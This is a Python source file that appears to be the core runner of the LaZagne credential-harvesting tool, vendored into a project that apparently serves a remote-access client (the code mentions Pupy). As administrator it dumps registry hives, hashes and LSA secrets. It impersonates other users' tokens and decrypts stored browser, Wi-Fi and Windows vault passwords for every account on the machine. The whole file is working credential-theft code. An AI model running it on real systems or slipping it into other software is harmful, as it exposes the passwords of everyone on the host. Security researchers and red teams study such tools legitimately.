1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
|
# -*- coding: utf-8 -*-
# !/usr/bin/python
import ctypes
import logging
import sys
import traceback
from foreign.client_handling.lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle
from foreign.client_handling.lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi
from foreign.client_handling.lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved
from foreign.client_handling.lazagne.config.execute_cmd import save_hives, delete_hives
from foreign.client_handling.lazagne.config.write_output import print_debug, StandardOutput
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.manage_modules import get_categories, get_modules
# Useful for the Pupy project
# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object
sys.setrecursionlimit(10000)
def create_module_dic():
if constant.modules_dic:
return constant.modules_dic
modules = {}
# Define a dictionary for all modules
for category in get_categories():
modules[category] = {}
# Add all modules to the dictionary
for m in get_modules():
modules[m.category][m.options['dest']] = m
constant.modules_dic = modules
return modules
def run_module(title, module):
"""
Run only one module
"""
try:
constant.st.title_info(title.capitalize()) # print title
pwd_found = module.run() # run the module
constant.st.print_output(title.capitalize(), pwd_found) # print the results
# Return value - not used but needed
yield True, title.capitalize(), pwd_found
except Exception:
error_message = traceback.format_exc()
print_debug('DEBUG', error_message)
yield False, title.capitalize(), error_message
def run_modules(module, subcategories={}, system_module=False):
"""
Run modules inside a category (could be one or multiple modules)
"""
modules_to_launch = []
# Launch only a specific module
for i in subcategories:
if subcategories[i] and i in module:
modules_to_launch.append(i)
# Launch all modules
if not modules_to_launch:
modules_to_launch = module
for i in modules_to_launch:
# Only current user could access to HKCU registry or use some API that only can be run from the user environment
if not constant.is_current_user:
if module[i].registry_used or module[i].only_from_current_user:
continue
if system_module ^ module[i].system_module:
continue
if module[i].winapi_used:
constant.module_to_exec_at_end['winapi'].append({
'title': i,
'module': module[i],
})
continue
if module[i].dpapi_used:
constant.module_to_exec_at_end['dpapi'].append({
'title': i,
'module': module[i],
})
continue
# Run module
for m in run_module(title=i, module=module[i]):
yield m
def run_category(category_selected, subcategories={}, system_module=False):
constant.module_to_exec_at_end = {
"winapi": [],
"dpapi": [],
}
modules = create_module_dic()
categories = [category_selected] if category_selected != 'all' else get_categories()
for category in categories:
for r in run_modules(modules[category], subcategories, system_module):
yield r
if not system_module:
if constant.is_current_user:
# Modules using Windows API (CryptUnprotectData) can be called from the current session
for module in constant.module_to_exec_at_end.get('winapi', []):
for m in run_module(title=module['title'], module=module['module']):
yield m
if constant.module_to_exec_at_end.get('dpapi', []):
if are_masterkeys_retrieved():
for module in constant.module_to_exec_at_end.get('dpapi', []):
for m in run_module(title=module['title'], module=module['module']):
yield m
else:
if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):
if are_masterkeys_retrieved():
# Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData
for i in ['winapi', 'dpapi']:
for module in constant.module_to_exec_at_end.get(i, []):
for m in run_module(title=module['title'], module=module['module']):
yield m
def run_lazagne(category_selected='all', subcategories={}, password=None):
"""
Execution Workflow:
- If admin:
- Execute system modules to retrieve LSA Secrets and user passwords if possible
- These secret could be useful for further decryption (e.g Wifi)
- If a process of another user is launched try to impersone it (impersonating his token)
- TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques
- From our user:
- Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
- Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
- If the user password or the dpapi hash is found:
- Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
- From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
- Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
- If the user password or the dpapi hash is found:
- Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)
To resume:
- Some passwords (e.g Firefox) could be retrieved from any other user
- CryptUnprotectData can be called only from our current session
- DPAPI Blob can decrypted only if we have the password or the hash of the user
"""
# Useful if this function is called from another tool
if password:
constant.user_password = password
if not constant.st:
constant.st = StandardOutput()
# --------- Execute System modules ---------
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
if save_hives():
# System modules (hashdump, lsa secrets, etc.)
constant.username = 'SYSTEM'
constant.finalResults = {'User': constant.username}
constant.system_dpapi = SystemDpapi()
if logging.getLogger().isEnabledFor(logging.INFO):
constant.st.print_user(constant.username)
yield 'User', constant.username
try:
for r in run_category(category_selected, subcategories, system_module=True):
yield r
except: # Catch all kind of exceptions
pass
finally:
delete_hives()
constant.stdout_result.append(constant.finalResults)
# ------ Part used for user impersonation ------
constant.is_current_user = True
constant.username = get_username_winapi()
if not constant.username.endswith('$'):
constant.finalResults = {'User': constant.username}
constant.st.print_user(constant.username)
yield 'User', constant.username
set_env_variables(user=constant.username)
for r in run_category(category_selected, subcategories):
yield r
constant.stdout_result.append(constant.finalResults)
# Check if admin to impersonate
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
# --------- Impersonation using tokens ---------
sids = list_sids()
impersonate_users = {}
impersonated_user = [constant.username]
for sid in sids:
# Not save the current user's SIDs and not impersonate system user
if constant.username != sid[3] and sid[2] != 'S-1-5-18':
impersonate_users.setdefault(sid[3], []).append(sid[2])
for user in impersonate_users:
if 'service' in user.lower().strip():
continue
# Do not impersonate the same user twice
if user in impersonated_user:
continue
constant.st.print_user(user)
yield 'User', user
constant.finalResults = {'User': user}
for sid in impersonate_users[user]:
try:
set_env_variables(user, to_impersonate=True)
if impersonate_sid_long_handle(sid, close=False):
impersonated_user.append(user)
# Launch module wanted
for r in run_category(category_selected, subcategories):
yield r
rev2self()
constant.stdout_result.append(constant.finalResults)
break
except Exception:
print_debug('DEBUG', traceback.format_exc())
# --------- Impersonation browsing file system ---------
constant.is_current_user = False
# Ready to check for all users remaining
all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])
for user in all_users:
# Fix value by default for user environment (APPDATA and USERPROFILE)
set_env_variables(user, to_impersonate=True)
constant.st.print_user(user)
constant.username = user
constant.finalResults = {'User': user}
yield 'User', user
# Retrieve passwords that need high privileges
for r in run_category(category_selected, subcategories):
yield r
constant.stdout_result.append(constant.finalResults)
|